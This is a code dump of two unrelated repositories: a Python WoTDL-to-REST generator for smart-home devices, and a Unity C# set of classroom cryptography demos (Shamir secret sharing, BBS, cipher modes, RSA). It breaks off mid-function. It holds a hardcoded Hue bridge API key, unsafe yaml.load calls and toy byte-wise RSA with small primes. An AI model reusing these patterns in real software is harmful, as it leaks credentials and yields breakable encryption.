wotdl:httpMethod ?method . ?http_request wotdl:url ?url . OPTIONAL{?http_request wotdl:httpBody ?body} { ?d wotdl:hasTransition ?t. ?t wotdl:hasActuation ?http_request. } UNION { ?d wotdl:hasMeasurement ?http_request. } } """ # TODOs Mahda: # Sensor1 missing name # BaseURI missing # URLs are inconsistent (10.0.1.113 and 10.1.13.14) # Mime types (and maybe Message formats) are missing in Ontology paths = defaultdict(dict) http_requests = instance.query(find_http_requests, initNs={'wotdl': WOTDL, 'rdfs': RDFS, 'owl': OWL}) resources = defaultdict(list) for device, devicename, http_request, name, method, url, body in http_requests: print('%s %s %s %s %s %s' % (device, http_request, name, method, url, body)) url = urlparse(url) resources[url.path].append( {'method': method.lower(), 'device': devicename, 'name': name, 'query_params': url.query, 'body': body}) for resource in resources: path_params = [p for p in resource.split('/')[1:] if p[0] == '{' and p[-1] == '}'] requests = resources[resource] paths[str(resource)] = {} responses = {} for request in requests: entry = { 'operationId': str(request['name']), 'summary': str(request['name']) + ' request on device ' + str(request['device']) } parameters = [] add_parameters = False if request['query_params'] != '': query_params = [q.split('=')[0] for q in request['query_params'].split('&')] parameters += [{'in': 'query', 'name': p, 'schema': {'type': 'string'}} for p in query_params] add_parameters = True if len(path_params) > 0: parameters += [{'in': 'path', 'name': p[1:-1], 'required': True, 'schema': {'type': 'string'}} for p in path_params] add_parameters = True if add_parameters: entry['parameters'] = parameters if request['body'] != None: entry['requestBody'] = yaml.load(str(request['body'])) if request['method'] == 'get': responses['200'] = {'description': 'OK'} elif request['method'] == 'post': responses['201'] = {'description': 'Created'} entry['responses'] = responses paths[str(resource)][str(request['method'])] = entry port = 9000 open_api = { 'openapi': '3.0.0', 'info': { 'version': '0.0.1', 'title': 'TODO', }, 'servers': [{'url': 'https://10.0.1.200:' + str(port) + '/api'}], 'paths': dict(paths) } with open('api.yaml', 'w') as yamlfile: yaml.dump(open_api, stream=yamlfile) api_name = 'wot_api' with open('config.json', 'w') as configfile: json.dump({'packageName': api_name, 'defaultController': api_name + '_controller', 'serverPort': port}, fp=configfile) with fileinput.FileInput('02_m2t_openapi_flask.sh', inplace=True) as m2tfile: for line in m2tfile: if line[:5] == 'PORT=': print('PORT=' + str(port)) elif line[:7] == 'MODULE=': print('MODULE=' + api_name) else: print(line, end='') <file_sep>/implementations/osram_bulb.py import requests import json from flask import Response LAMP_ENDPOINT = "http://10.0.1.200:80/api/E70AB7E7DB/lights/4/state" def switch_on_osram_lamp(): j = json.dumps({"on": True}) r = requests.put(LAMP_ENDPOINT, data=j) print(r.text) return Response('osram lamp on', status=200) def switch_off_osram_lamp(): j = json.dumps({"on": False}) r = requests.put(LAMP_ENDPOINT, data=j) return Response('osram lamp off', status=200) <file_sep>/implementations/tint_bulb.py import requests import json from flask import Response LAMP_ENDPOINT = "http://10.0.1.200:80/api/E70AB7E7DB/lights/5/state" def switch_on_tint_lamp(): j = json.dumps({"on": True}) r = requests.put(LAMP_ENDPOINT, data=j) print(r.text) return Response('tint lamp on', status=200) def switch_off_tint_lamp(): j = json.dumps({"on": False}) r = requests.put(LAMP_ENDPOINT, data=j) return Response('tint lamp off', status=200) <file_sep>/implementations/bh1750_digital_light_sensor.py from flask import jsonify import smbus print('light_sensor imported') DEVICE = 0x23 ONE_TIME_HIGH_RES_MODE_2 = 0x21 def get_light_intensity_bh1750(): bus = smbus.SMBus(1) # Rev 2 Pi uses 1 data = bus.read_i2c_block_data(DEVICE, ONE_TIME_HIGH_RES_MODE_2) light_level = convertToNumber(data) return jsonify({'light-value': light_level}) def convertToNumber(data): # convert 2 bytes of data into a decimal number return ((data[1] + (256 * data[0])) / 1.2) <file_sep>/Pipfile [[source]] name = "pypi" url = "https://pypi.org/simple" verify_ssl = true [dev-packages] [packages] rdflib = ">=4.2.2" connexion = { extras = ['swagger-ui'], version = "==2.7.0"} PyYAML = ">=3.13" [requires] python_version = "3.7" <file_sep>/hub.py import importlib IMPLEMENTATION_PATH = 'wot_api.models' print('hub imported') PERSISTENCE = {} INIT_FUNCTION_NAME = 'init' def invoke_implementation(function_name, params, kwargs, request, device): import_path = IMPLEMENTATION_PATH + '.' + device implementation_spec = importlib.util.find_spec(import_path) found = implementation_spec is not None if found: implementation = importlib.import_module(import_path) if hasattr(implementation, INIT_FUNCTION_NAME): plugin_init_function = getattr(implementation, INIT_FUNCTION_NAME) plugin_init_function() if not hasattr(implementation, function_name): return 'Implementation required for %s of device %s' % (function_name, device) method = getattr(implementation, function_name) if 'body' in kwargs: body = kwargs['body'] for param in params: if param not in kwargs: kwargs[param] = body[param] kwargs.pop('body') if len(kwargs) > 0: return method(**kwargs) else: return method() else: return 'Implementation required for device %s' % device <file_sep>/implementations/thermostat.py import time import grovepi from flask import Response #from . import relay_heating TEMP_SENSOR_PORT = 2 RELAY_PIN = 4 HYSTERESIS = 0.05 CONTROL_INTERVAL = 40 def get_temperature(): [temp, humidity] = grovepi.dht(TEMP_SENSOR_PORT, 0) return temp def activate_heating(): print('thermostat on') grovepi.digitalWrite(RELAY_PIN, 1) def deactivate_heating(): print('thermostat off') grovepi.digitalWrite(RELAY_PIN, 0) def thermostat_set(target_temperature): current_temp = get_temperature() if current_temp > target_temperature: return Response('current temperature above target temperature', status=500) while True: up_threshold = target_temperature + HYSTERESIS * target_temperature down_threshold = target_temperature - HYSTERESIS * target_temperature if current_temp < down_threshold: activate_heating() elif current_temp > up_threshold: deactivate_heating() else: pass time.sleep(CONTROL_INTERVAL) return Response('thermostat set to target temperature ' + target_temperature, status=200)<file_sep>/implementations/philipshue.py import requests import json from flask import Response LAMP_ENDPOINT = "http://10.0.1.146/api/5TNOk6IXINqrhn7DJtiYiWRIUqPyVA9NRPIzZASm/lights/1/state" def switch_on_hue_lamp(): j = json.dumps({"on": True}) r = requests.put(LAMP_ENDPOINT, data=j) print(r.text) return Response('hue on', status=200) def switch_off_hue_lamp(): j = json.dumps({"on": False}) r = requests.put(LAMP_ENDPOINT, data=j) return Response('hue off', status=200) <file_sep>/implementations/grove_pir_motion_sensor.py from flask import jsonify import grovepi PORT = 8 MOTION = 0 def get_motion_grove(): grovepi.pinMode(PORT, "INPUT") MOTION = grovepi.digitalRead(PORT) if MOTION == 0 or MOTION == 1: if MOTION == 1: return jsonify({'motion': MOTION, 'text': 'motion detected'}) else: return jsonify({'motion': MOTION, 'text': 'no motion detected'}) else: return jsonify({'text': 'error'}) <file_sep>/dependencies/readme.txt pip install connexion[swagger-ui] git clone https://github.com/Homebrew/homebrew-core.git cd homebrew-core git log 0bded00985a486bd61101210d1264117a458a903 -- Formula/openapi-generator.rb cd brew extract --version=3.3.4 openapi-generator mahda/custom brew extract --version=3.3.4 openapi-generator brew extract --version=3.3.4 openapi-generator homebrew/core brew extract --version=3.3.4 openapi-generator . brew extract --version=3.3.4 openapi-generator test brew extract --version=3.3.4 openapi-generator test/test cd homebrew-core cd Downloads/homebrew-core git checkout 434d28a244429616a2bf47a436af8d6655e49010 l vim Formula/openapi-generator.rb cp Formula/openapi-generator.rb ../.. .. l mv openapi-generator.rb Downloads cd Downloads l ruby ruby openapi-generator.rb vim openapi-generator.rb brew install --build-from-source openapi-generator.rb <file_sep>/implementations/samsung_tv.py from flask import Response print('samsungTV imported') def switch_on_tv(path_param, power): return Response(path_param + str(power), status=200) def switch_off_tv(): return Response('Running', status=200)<file_sep>/implementations/dc_motor_fan.py from flask import jsonify import grovepi from .. import hub def init(): if not 'SPEED' in hub.PERSISTENCE: hub.PERSISTENCE['SPEED'] = 0 return def fan_set(target_speed): #target_speed = body['target_speed'] speed = int(target_speed) if(speed < 0 or speed > 250): return jsonify({ "error": "speed " + str(speed) + " out of range (" + str(0) + "-" + str(250) + ")", 'speed': hub.PERSISTENCE['SPEED'] }), 400 fan_port = 5 grovepi.pinMode(fan_port,"OUTPUT") grovepi.analogWrite(fan_port,speed) hub.PERSISTENCE['SPEED'] = speed return jsonify({'speed': speed}) def increase_fan_speed(increment): #increment = body['increment'] fan_port = 5 speed = hub.PERSISTENCE['SPEED'] speed += int(increment) if(speed < 0 or speed > 250): return jsonify({ "error": "speed " + str(speed) + " out of range (" + str(0) + "-" + str(250) + ")", 'speed': hub.PERSISTENCE['SPEED'] }), 400 grovepi.pinMode(fan_port,"OUTPUT") print(speed) grovepi.analogWrite(fan_port,speed) hub.PERSISTENCE['SPEED'] = speed return jsonify({'speed': speed}) def decrease_fan_speed(decrement): #decrement = body['decrement'] fan_port = 5 speed = hub.PERSISTENCE['SPEED'] speed -= int(decrement) if(speed < 0 or speed > 250): return jsonify({ "error": "speed " + str(speed) + " out of range (" + str(0) + "-" + str(250) + ")", 'speed': hub.PERSISTENCE['SPEED'] }), 400 grovepi.analogWrite(fan_port,speed) hub.PERSISTENCE['SPEED'] = speed return jsonify({'speed': speed}) def fan_turn_off(): fan_port = 5 grovepi.pinMode(fan_port,"OUTPUT") speed = 0 grovepi.analogWrite(fan_port, speed) hub.PERSISTENCE['SPEED'] = speed return jsonify({'status': 'OFF'}) <file_sep>/README.md # WoTDL Ontology to REST ## Overview This toolchain allows to generate REST APIs from instances of the [WoTDL OWL Ontology](https://vsr.informatik.tu-chemnitz.de/projects/2019/growth/wotdl/wotdl.owl), which is part of the GrOWTH approach for Goal-Oriented End User Development for Web of Things Devices. [1] WoTDL has been listed on the [LOV4IoT Ontology Catalogue](http://lov4iot.appspot.com/?p=ontologies). It uses a model-to-model transformation to generate an [OpenAPI](https://openapis.org) specification. The Flask-based REST API is generated using [OpenAPI Generator](https://openapi-generator.tech). ## Requirements - Python 3.7.0+ - for python requirements see requirements.txt - openapi-generator 3.3.4+ ## Usage Get the dependencies: ``` pipenv install pipenv shell ``` Adapt the IN variable to point to your ontology instance and run the model-to-model transformation: ``` python m2m_openapi.py ``` Run the model-to-text generation: ``` ./m2t_openapi_flask.sh ``` ## References If you want to use or extend our toolchain, please consider citing the related publications: [1] <NAME>., <NAME>., <NAME>. (2018) GrOWTH: Goal-Oriented End User Development for Web of Things Devices. In: <NAME>., <NAME>., <NAME>. (eds) Web Engineering. ICWE 2018. Lecture Notes in Computer Science, vol 10845. Springer, Cham [2] <NAME>., <NAME>., <NAME>. (2019) Webifying Heterogenous Internet of Things Devices. In: <NAME>., <NAME>., <NAME>. (eds) Web Engineering. ICWE 2019. Lecture Notes in Computer Science, vol 11496. Springer, Cham <file_sep>/post_generation.py import fileinput import sys import re import yaml TARGET = sys.argv[1] MODULE = sys.argv[2] OPENAPI_FILE_NAME = sys.argv[3] IMPORT_STATEMENTS = """from .. import hub import inspect from io import StringIO import tokenize import re """ #% (TARGET, MODULE) REPLACE_TEXT = "return 'do some magic!'" REPLACEMENT = """ request_device_pattern = re.compile(r'(.*) request on device (.*)') param_pattern = re.compile(r':param (.*):') function = inspect.currentframe() function_name = function.f_code.co_name arguments = function.f_code.co_varnames[0:function.f_code.co_argcount] kwargs = {} for argument in arguments: kwargs[argument] = function.f_locals[argument] source_code = inspect.getsource(function.f_code) comments = StringIO(source_code) strings = [token for type, token, _, _, _ in tokenize.generate_tokens(comments.readline) if type == tokenize.STRING] matches = request_device_pattern.search(strings[0].strip('"')) request = matches.group(1) device = matches.group(2) params = [] for line in strings[0].splitlines(): param_matches = param_pattern.search(line.strip('"')) if param_matches != None: params.append(param_matches.group(1)) return hub.invoke_implementation(function_name, params, kwargs, request, device) """ FUNCTION_SIGNATURE = 'def (.*)\((.+)\): # noqa: E501' controller_function = re.compile(FUNCTION_SIGNATURE) filename = TARGET + '/' + MODULE + '/controllers/default_controller.py' with open(filename, 'r+') as file: content = file.read() file.seek(0, 0) file.write(IMPORT_STATEMENTS + '\n' + content) with open(OPENAPI_FILE_NAME, 'r') as api_file: api_spec = yaml.load(api_file) with fileinput.FileInput(filename, inplace=True) as file: for line in file: if controller_function.match(line): #def switch_on_tv(path_param, power): # noqa: E501 function_name = controller_function.match(line).group(1) arguments = controller_function.match(line).group(2).split(',') updated_arguments = [] request_type = '' for argument in arguments: for path in api_spec['paths']: for operation in api_spec['paths'][path]: request_type = operation if api_spec['paths'][path][operation]['operationId'] == function_name: if 'parameters' in api_spec['paths'][path][operation]: for param in api_spec['paths'][path][operation]['parameters']: if param['name'].replace('-', '_') == argument: updated_arguments.append(argument.strip()) break if request_type in ['post', 'put']: updated_arguments.append('body') updated_argument_list = ', '.join(updated_arguments) print(controller_function.sub(r'def \1(' + updated_argument_list + '): # noqa: E501', line), end='') else: print(line.replace(REPLACE_TEXT, REPLACEMENT), end='') #TODO: in __main__.py add custom resolver <file_sep>/implementations/heating_thread.py import threading import time import grovepi class HeatingThread(threading.Thread): def __init__(self): self.on_interval = .5 * 20 self.off_interval = .5 * 20 super(HeatingThread, self).__init__(target=self.interval_heating) self._stop_event = threading.Event() grovepi.pinMode(8, 'OUTPUT') def stop(self): self._stop_event.set() def stopped(self): return self._stop_event.is_set() def interval_heating(self): grovepi.pinMode(8, 'OUTPUT') if self.on_interval == 20: grovepi.digitalWrite(8, 1) else: while not self.stopped(): grovepi.digitalWrite(8, 1) time.sleep(self.on_interval) grovepi.digitalWrite(8, 0) time.sleep(self.off_interval)<file_sep>/implementations/grove_temperature_humidity_sensor.py from flask import jsonify import math import grovepi PORT = 4 def get_temperature_grove(): sensor = PORT [temp,humidity] = grovepi.dht(sensor, 0) if math.isnan(temp): temp = 0.0 else: LTEMP = temp return jsonify({'temperature': temp, 'text': str(temp), 'unit': 'Celsius'}) def get_humidity(): sensor = PORT [temp,humidity] = grovepi.dht(sensor, 0) return jsonify({'humidity': humidity, 'text': str(humidity), 'unit': '%'})
256f6b2dc76ce7010b6e215c0d157275c1db41c0
[ "TOML", "Markdown", "Python", "Text", "Shell" ]
20
Python
heseba/wotdl2api
ff4f76d66b45c74d318a6e0701e0decd40623e76
b8b683d1474cf8432829a634de23a93476fb55b5
refs/heads/main
<repo_name>Jacykow/WZK<file_sep>/Assets/Scripts/View Models/SecretTrivialViewModel.cs using System; using UniRx; using UnityEngine; public class SecretTrivialViewModel : MonoBehaviour { public FieldContainer inputFieldContainer, outputFieldContainer; private void Start() { inputFieldContainer.AddButton("Menu").OnClickAsObservable() .Subscribe(_ => { ViewManager.main.CurrentView = ViewConfig.Views.Menu; }) .AddTo(this); var nField = inputFieldContainer.AddInputField("Key amount"); var kField = inputFieldContainer.AddInputField("k"); var secretField = inputFieldContainer.AddInputField("secret"); var calculateButton = inputFieldContainer.AddButton("Calculate"); Observable.Merge(nField.InputProperty.AsUnitObservable(), kField.InputProperty.AsUnitObservable(), secretField.InputProperty.AsUnitObservable(), calculateButton.OnClickAsObservable()) .Subscribe(_ => { try { int n = int.Parse(nField.Value); int k = int.Parse(kField.Value); int secret = int.Parse(secretField.Value); var keys = new int[n]; int lastKey = secret; for (int x = 0; x < keys.Length - 1; x++) { keys[x] = UnityEngine.Random.Range(0, k); lastKey -= keys[x]; } keys[keys.Length - 1] = (lastKey % k + k) % k; outputFieldContainer.Clear(); for (int x = 0; x < keys.Length; x++) { outputFieldContainer.AddOutputField($"Key {x + 1}").Value = keys[x].ToString(); } } catch (Exception e) { Debug.Log(e.Message); } }) .AddTo(this); } } <file_sep>/Assets/Scripts/View Models/MenuViewModel.cs using UniRx; using UnityEngine; public class MenuViewModel : MonoBehaviour { public FieldContainer fieldContainer; private void Start() { fieldContainer.AddButton("Secret Trivial").OnClickAsObservable() .Subscribe(_ => { ViewManager.main.CurrentView = ViewConfig.Views.SecretTrivial; }) .AddTo(this); fieldContainer.AddButton("Secret Shamir").OnClickAsObservable() .Subscribe(_ => { ViewManager.main.CurrentView = ViewConfig.Views.SecretShamir; }) .AddTo(this); fieldContainer.AddButton("BBS").OnClickAsObservable() .Subscribe(_ => { ViewManager.main.CurrentView = ViewConfig.Views.BBS; }) .AddTo(this); fieldContainer.AddButton("Cipher Mode Comparison").OnClickAsObservable() .Subscribe(_ => { ViewManager.main.CurrentView = ViewConfig.Views.CipherModeComparison; }) .AddTo(this); fieldContainer.AddButton("Diffie Hellman").OnClickAsObservable() .Subscribe(_ => { ViewManager.main.CurrentView = ViewConfig.Views.DiffieHellman; }) .AddTo(this); fieldContainer.AddButton("RSA").OnClickAsObservable() .Subscribe(_ => { ViewManager.main.CurrentView = ViewConfig.Views.RSA; }) .AddTo(this); } } <file_sep>/Assets/Scripts/View Models/CipherModeComparisonViewModel.cs using System; using System.Collections; using System.IO; using System.Security.Cryptography; using UniRx; using UnityEngine; public class CipherModeComparisonViewModel : MonoBehaviour { public FieldContainer inputFieldContainer, outputFieldContainer, textFieldContainer; private InputFieldController textFileInput; private void Start() { inputFieldContainer.AddMenuButton(); textFileInput = inputFieldContainer.AddInputField("Plain Text File", "lorem.txt"); inputFieldContainer.AddButton("Run Ciphers").OnClickAsObservable(). Subscribe(_ => { StartCoroutine(CipherComparison()); }).AddTo(this); } private IEnumerator CipherComparison() { string path = Path.Combine(Application.streamingAssetsPath, textFileInput.Value); var plainText = File.ReadAllText(path); outputFieldContainer.Clear(); foreach (CipherMode cipherMode in Enum.GetValues(typeof(CipherMode))) { string encryptedText; string cipherModeName = Enum.GetName(typeof(CipherMode), cipherMode); try { var startTime = DateTime.Now; encryptedText = Cryptography.Encrypt(plainText, cipherMode); string message = DateTime.Now.Subtract(startTime).TotalSeconds.ToString("0.##") + " s"; outputFieldContainer.AddOutputField(cipherModeName + " encryption").Value = message; } catch { outputFieldContainer.AddOutputField(cipherModeName).Value = "Not Supported"; continue; } yield return null; try { var startTime = DateTime.Now; var decryptedText = Cryptography.Decrypt(encryptedText, cipherMode); string message = DateTime.Now.Subtract(startTime).TotalSeconds.ToString("0.##") + " s"; outputFieldContainer.AddOutputField(cipherModeName + " decryption").Value = message; textFieldContainer.Clear(); textFieldContainer.AddLongOutputField($"Decrypted Text with {Enum.GetName(typeof(CipherMode), cipherMode)}").Value = decryptedText.Substring(0, 2000); } catch { } yield return null; } } } <file_sep>/Assets/Scripts/View Models/RSAViewModel.cs using System; using System.Linq; using System.Text; using UniRx; using UnityEngine; public class RSAViewModel : MonoBehaviour { public FieldContainer inputFieldContainer, middleContainer, outputFieldContainer; private InputFieldController eField, dField, messageField; private int n; private void Start() { inputFieldContainer.AddMenuButton(); var pField = inputFieldContainer.AddInputField("p", RandomLargePrime().ToString()); var qField = inputFieldContainer.AddInputField("q", RandomLargePrime().ToString()); Observable.Merge( pField.InputProperty.AsUnitObservable(), qField.InputProperty.AsUnitObservable(), inputFieldContainer.AddButton("Calculate e and d").OnClickAsObservable()). SelectMany(_ => { middleContainer.Clear(); try { int p = int.Parse(pField.Value); int q = int.Parse(qField.Value); n = p * q; int phi = (p - 1) * (q - 1); int e = GenerateE(phi); int d = GenerateD(phi, e); eField = middleContainer.AddInputField("e", e.ToString()); dField = middleContainer.AddInputField("d", d.ToString()); messageField = middleContainer.AddInputField("message", RandomMessage()); return Observable.Merge( Observable.ReturnUnit(), eField.InputProperty.AsUnitObservable(). Select(__ => { dField.Value = GenerateD(phi, int.Parse(eField.Value)).ToString(); return Unit.Default; }), dField.InputProperty.AsUnitObservable(), messageField.InputProperty.AsUnitObservable(), middleContainer.AddButton("Encrypt & Decrypt").OnClickAsObservable()); } catch (Exception e) { Debug.Log(e.Message); } return Observable.ReturnUnit(); }).Subscribe(_ => { outputFieldContainer.Clear(); try { int e = int.Parse(eField.Value); int d = int.Parse(dField.Value); string msg = messageField.Value; var msgBytes = Encoding.UTF8.GetBytes(msg); var encodedMsgInts = msgBytes.Select(b => MathG.ModPow(b, e, n)).ToArray(); byte[] encodedMsgBytes = new byte[encodedMsgInts.Length * sizeof(int)]; Buffer.BlockCopy(encodedMsgInts, 0, encodedMsgBytes, 0, encodedMsgBytes.Length); string encodedMsg = Convert.ToBase64String(encodedMsgBytes); outputFieldContainer.AddLongOutputField("Encoded Message").Value = encodedMsg; var encodedMsgBytes2 = Convert.FromBase64String(encodedMsg); int[] encodedMsgInts2 = new int[encodedMsgBytes2.Length / sizeof(int)]; Buffer.BlockCopy(encodedMsgBytes2, 0, encodedMsgInts2, 0, encodedMsgBytes2.Length); var decodedMsgBytes = encodedMsgInts2.Select(i => (byte)MathG.ModPow(i, d, n)).ToArray(); var decodedMsg = Encoding.UTF8.GetString(decodedMsgBytes); outputFieldContainer.AddOutputField("Decoded Message").Value = decodedMsg; outputFieldContainer.AddOutputField("Original Message").Value = msg; } catch (Exception e) { Debug.Log(e.Message); } }).AddTo(this); } private int RandomLargePrime() { return MathG.NextPrime(UnityEngine.Random.Range(2000, 9800)); } private int Random(int max) { return UnityEngine.Random.Range(1, max); } private int GenerateE(int phi) { int e = Random(phi); while (!MathG.IsPrime(e) || MathG.GCD(phi, e) != 1) { e++; if (e >= phi) { e = 2; } } return e; } private int GenerateD(int phi, int e) { return MathG.ModInverse(e, phi); } private string RandomMessage() { int chars = 30; string msg = ""; while (chars-- > 0) { msg += (char)UnityEngine.Random.Range('A', 'Z'); } return msg; } } <file_sep>/Assets/Scripts/UI/OutputFieldController.cs using TMPro; using UniRx; using UnityEngine; [SelectionBase] public class OutputFieldController : MonoBehaviour { [SerializeField] private TextMeshProUGUI text, labelText; public string Value { get => text.text; set => text.text = value; } public string Label { get => labelText.text; set => labelText.text = value; } } <file_sep>/Assets/Scripts/View Models/SecretShamirViewModel.cs using System; using System.Collections.Generic; using System.Linq; using UniRx; using UnityEngine; public class SecretShamirViewModel : MonoBehaviour { public FieldContainer inputFieldContainer, intermediateFieldContainer, outputFieldContainer, keyInputFieldContainer, secretOutputFieldContainer; private int[] coefficients; private InputFieldController[] inputKeys; private int prime; private void Start() { inputFieldContainer.AddMenuButton(); var nField = inputFieldContainer.AddInputField("Keys generated", "5"); var tField = inputFieldContainer.AddInputField("Keys required", "3"); var pField = inputFieldContainer.AddInputField("Prime", "1523"); var secretField = inputFieldContainer.AddInputField("Secret", "420"); var calculateButton = inputFieldContainer.AddButton("Calculate"); Observable.Merge( nField.InputProperty.AsUnitObservable(), tField.InputProperty.AsUnitObservable(), pField.InputProperty.AsUnitObservable(), secretField.InputProperty.AsUnitObservable(), calculateButton.OnClickAsObservable()) .SelectMany(_ => { try { intermediateFieldContainer.Clear(); outputFieldContainer.Clear(); keyInputFieldContainer.Clear(); secretOutputFieldContainer.Clear(); int n = int.Parse(nField.Value); prime = int.Parse(pField.Value); int t = int.Parse(tField.Value); int secret = int.Parse(secretField.Value); coefficients = new int[t]; coefficients[0] = secret; intermediateFieldContainer.AddOutputField($"Coefficient 0 (Secret)").Value = coefficients[0].ToString(); for (int x = 1; x < coefficients.Length; x++) { coefficients[x] = UnityEngine.Random.Range(1, 1000); intermediateFieldContainer.AddOutputField($"Coefficient {x}").Value = coefficients[x].ToString(); } var keys = new int[n]; int lastKey = secret; for (int x = 0; x < keys.Length; x++) { keys[x] = 0; int degreeValue = 1; for (int y = 0; y < coefficients.Length; y++) { keys[x] = (keys[x] + coefficients[y] * degreeValue) % prime; degreeValue *= x + 1; } outputFieldContainer.AddOutputField($"Key {x + 1}").Value = keys[x].ToString(); } var randomKeys = new List<int>(); int keysLeft = t; for (int x = 0; x < n; x++) { if (UnityEngine.Random.value < (float)keysLeft / (n - x)) { randomKeys.Add(x); keysLeft--; } } for (int x = 0; x < randomKeys.Count; x++) { int swap = UnityEngine.Random.Range(x, randomKeys.Count); int temp = randomKeys[swap]; randomKeys[swap] = randomKeys[x]; randomKeys[x] = temp; } inputKeys = new InputFieldController[t]; for (int x = 0; x < inputKeys.Length; x++) { inputKeys[x] = keyInputFieldContainer.AddInputField($"\"id,key\" pair {x + 1}", $"{randomKeys[x] + 1},{keys[randomKeys[x]]}"); } return Observable.Merge( inputKeys.Select(inputKey => inputKey.InputProperty.AsUnitObservable()) .Append(keyInputFieldContainer.AddButton("Calculate Secret").OnClickAsObservable())); } catch (Exception e) { Debug.Log(e.Message); } return Observable.ReturnUnit(); }) .Subscribe(_ => { try { secretOutputFieldContainer.Clear(); var degrees = new int[inputKeys.Length]; var keys = new int[inputKeys.Length]; for (int x = 0; x < inputKeys.Length; x++) { var splitInput = inputKeys[x].Value.Split(','); degrees[x] = int.Parse(splitInput[0]); keys[x] = int.Parse(splitInput[1]); } var yl = new int[inputKeys.Length]; for (int x = 0; x < inputKeys.Length; x++) { int lTop = 1; for (int y = 0; y < inputKeys.Length; y++) { if (y == x) continue; lTop *= -degrees[y]; } int lBottom = 1; for (int y = 0; y < inputKeys.Length; y++) { if (y == x) continue; lBottom *= degrees[x] - degrees[y]; } int l = MathG.ModDivide(lTop, lBottom, prime); yl[x] = MathG.Mod(l * keys[x], prime); secretOutputFieldContainer. AddOutputField($"l{x + 1}; y{x + 1}l{x + 1}").Value = $"{l}; {yl[x]}"; } int calculatedSecret = 0; for (int x = 0; x < yl.Length; x++) { calculatedSecret += yl[x]; } calculatedSecret = MathG.Mod(calculatedSecret, prime); secretOutputFieldContainer.AddOutputField("Calculated Secret").Value = (calculatedSecret).ToString(); } catch (Exception e) { Debug.Log(e.Message); } }) .AddTo(this); } } <file_sep>/Assets/Scripts/View Switching/InitSceneLoader.cs using UnityEngine; using UnityEngine.SceneManagement; public class InitSceneLoader : MonoBehaviour { private void Awake() { if (SceneManager.sceneCount == 1) { SceneManager.LoadScene(ViewConfig.Views.Init); SceneManager.UnloadSceneAsync(gameObject.scene); gameObject.SetActive(false); } } } <file_sep>/Assets/Scripts/Utility/MathG.cs using System; public struct MathG { public static int GcdExtended(int a, int b, out int x, out int y) { if (a == 0) { x = 0; y = 1; return b; } int gcd = GcdExtended(b % a, a, out int x1, out int y1); x = y1 - (b / a) * x1; y = x1; return gcd; } public static int ModInverse(int b, int m) { int g = GcdExtended(b, m, out int x, out int _); if (g != 1) return -1; return Mod(x, m); } public static int ModDivide(int a, int b, int m) { if (b < 0) { a *= -1; b *= -1; } a = Mod(a, m); int inv = ModInverse(b, m); if (inv == -1) throw new ArgumentException("Division not defined"); else return Mod(inv * a, m); } public static int Mod(int a, int m) { return ((a % m) + m) % m; } public static int ModPow(int a, int b, int m) { return (int)ModPow(a, b, (ulong)m); } public static ulong ModPow(int a, int b, ulong m) { ulong result = 1; ulong aLong = (ulong)a % m; while (b > 0) { if ((b & 1) > 0) result = (result * aLong) % m; aLong = (aLong * aLong) % m; b >>= 1; } return result; } public static int NextPrime(int start) { while (!IsPrime(start)) { start++; } return start; } public static bool IsPrime(int number) { for (int i = 2; i * i <= number; i++) { if (number % i == 0) { return false; } } return true; } public static int GCD(int a, int b) { while (a != 0 && b != 0) { if (a > b) a %= b; else b %= a; } return a | b; } } <file_sep>/Assets/Scripts/UI/InputFieldController.cs using TMPro; using UniRx; using UnityEngine; [SelectionBase] public class InputFieldController : MonoBehaviour { [SerializeField] private TMP_InputField inputField; [SerializeField] private TextMeshProUGUI labelText; public ReactiveProperty<string> InputProperty { get; } = new ReactiveProperty<string>(""); public string Label { get => labelText.text; set => labelText.text = value; } public string Value { get => InputProperty.Value; set { inputField.text = value; InputProperty.Value = value; } } private void Start() { InputProperty.Value = inputField.text; inputField.onEndEdit.AddListener(value => InputProperty.Value = value); } } <file_sep>/Assets/Scripts/View Models/BBSViewModel.cs using System; using System.Collections.Generic; using System.Linq; using System.Text; using UniRx; using UnityEngine; public class BBSViewModel : MonoBehaviour { public FieldContainer inputFieldContainer, outputFieldContainer, testFieldContainer; private const int randomSize = 20000; private void Start() { inputFieldContainer.AddMenuButton(); var pField = inputFieldContainer.AddInputField("p", "2503"); var qField = inputFieldContainer.AddInputField("q", "3119"); var calculateButton = inputFieldContainer.AddButton("Calculate"); Observable.Merge(pField.InputProperty.AsUnitObservable(), qField.InputProperty.AsUnitObservable(), calculateButton.OnClickAsObservable()) .Subscribe(_ => { try { int p = int.Parse(pField.Value); int q = int.Parse(qField.Value); int n = p * q; long x = GetCorrectX(p, q, n); outputFieldContainer.Clear(); var nField = outputFieldContainer.AddOutputField("N"); nField.Value = n.ToString(); var xField = outputFieldContainer.AddOutputField("x0"); xField.Value = x.ToString(); StringBuilder randomBits = new StringBuilder(randomSize); for (int i = 0; i < randomSize; i++) { randomBits.Append(x % 2); x = (x * x) % n; } var randomField = outputFieldContainer.AddLongOutputField("Random"); string random = randomBits.ToString(); randomField.Value = random; testFieldContainer.Clear(); testFieldContainer.AddOutputField("Test pojedynczych bitów").Value = Test1(random).ToString(); testFieldContainer.AddOutputField("Test serii").Value = Test2(random).ToString(); testFieldContainer.AddOutputField("Test długiej serii").Value = Test3(random).ToString(); testFieldContainer.AddOutputField("Test pokerowy").Value = Test4(random).ToString(); } catch (Exception e) { Debug.Log(e.Message); } }).AddTo(this); } private bool Test1(string random) { var count = random.Count(c => c == '1'); return count > 9725 && count < 10275; } private bool Test2(string random) { var cDict = new Dictionary<int, int>(); int lastC = 0; char c = random[0]; int length; for (int i = 1; i <= random.Length; i++) { if (i == random.Length || random[i] != c) { length = i - lastC; if (!cDict.ContainsKey(length)) { cDict[length] = 0; } if (c == '1') { cDict[length]++; } if (i != random.Length) { c = random[i]; lastC = i; } } } var count6 = cDict.Where(kvp => kvp.Key >= 6).Select(kvp => kvp.Value).Sum(); return cDict[1] > 2315 && cDict[1] < 2685 && cDict[2] > 1114 && cDict[2] < 1386 && cDict[3] > 527 && cDict[3] < 723 && cDict[4] > 240 && cDict[4] < 384 && cDict[5] > 103 && cDict[5] < 209 && count6 > 103 && count6 < 209; } private bool Test3(string random) { var cDict = new Dictionary<int, int>(); int lastC = 0; char c = random[0]; int length; for (int i = 1; i <= random.Length; i++) { if (i == random.Length || random[i] != c) { length = i - lastC; if (!cDict.ContainsKey(length)) { cDict[length] = 0; } if (c == '1') { cDict[length]++; } if (i != random.Length) { c = random[i]; lastC = i; } } } return !cDict.Keys.Any(key => key >= 26); } private bool Test4(string random) { var cDict = new Dictionary<int, int>(); for (int i = 